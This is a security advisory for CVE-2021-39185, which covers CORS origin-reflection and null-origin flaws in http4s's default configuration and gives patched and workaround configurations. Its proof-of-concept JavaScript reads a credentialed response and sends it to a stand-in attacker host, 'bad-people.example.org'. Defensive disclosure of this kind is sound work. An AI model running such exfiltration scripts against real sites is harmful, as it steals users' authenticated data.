CVE-2021-39185

Origin reflection attack

The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app, using the default CORS config, running at https://vulnerable.example.com:

val routes: HttpRoutes[F] = HttpRoutes.of {
  case req if req.pathInfo === "/secret" =>
    Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)

The following request is made to our server:

GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...

When the anyOrigin flag of CORSConfig is true, as is the case in the default argument to CORS, the middleware will allow sharing its resource regardless of the allowedOrigins setting. Paired with the default allowCredentials, the server approves sharing responses that may have required credentials for sensitive information with any origin:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true 
Content-Type: text/plain

p4ssw0rd

A malicious script running on https://adversary.example.org/ can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org:

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://vulnerable.example.org/secret',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//bad-people.example.org/log?key='+this.responseText; 
};

Null origin attack

The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null, permitting a similar exfiltration of secrets to the above.

Migration

The CORS object exposes a default CORSPolicy via CORS.policy. This can be configured with various with* methods, like any http4s builder. Finally, the CORSPolicy may be applied to any Http, like any other http4s middleware:

val routes: HttpRoutes[F] = ???
val cors = CORS.policy
  .withAllowOriginAll
  .withAllowCredentials(false)
  .apply(routes)

Workarounds

It is possible to be safe in unpatched versions, but note the following defects exist:

• The anyMethod flag, enabled by default, accepts methods that cannot be enumerated in the Access-Control-Allow-Methods preflight response.
• Rejected CORS requests receive a 403 response, when the client should be the enforcement point. The server should just omit all CORS response headers.
• Does not send Vary: Access-Control-Request-Headers on preflight requests. This may confuse caches.
• Does not validate the Access-Control-Request-Headers of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.
• Needlessly sends Vary: Access-Control-Request-Method on non-preflight requests. This should be harmless in practice.
• Needlessly sends Access-Control-Max-Age header on non-preflight requests. This should be harmless in practice.
• Sends an invalid Access-Control-Allow-Credentials: false instead of omitting the header. This should be harmless in practice.

Explicit origins

In versions before the patch, set anyOrigin to false, and then specifically include trusted origins in allowedOrigins.

0.21.x

val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
  anyOrigin = false,
  allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)

0.22.x, 0.23.x, 1.x

val routes: HttpRoutes[F] = ???
val config = CORSConfig.default
  .withAnyOrigin(false)
  .withAllowedOrigins(Set("http://trusted.example.com"))
val cors = CORS(routes, config)

Disable credentials

Alternatively, sharing responses tainted by credentials can be deprecated.

0.21.x

val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(allowCredentials = false)
val cors = CORS(routes, config)

0.22.x, 0.23.x, 1.x

val routes: HttpRoutes[F] = ???
val config = CORSConfig.default.withAllowedCredentials(false)
val cors = CORS(routes, config)

References

• The MDN guide to CORS
• PayloadsAllTheThings CORS misconfiguration

For more information

If you have any questions or comments about this advisory:

• Open an issue in GitHub
• Contact us via the http4s security policy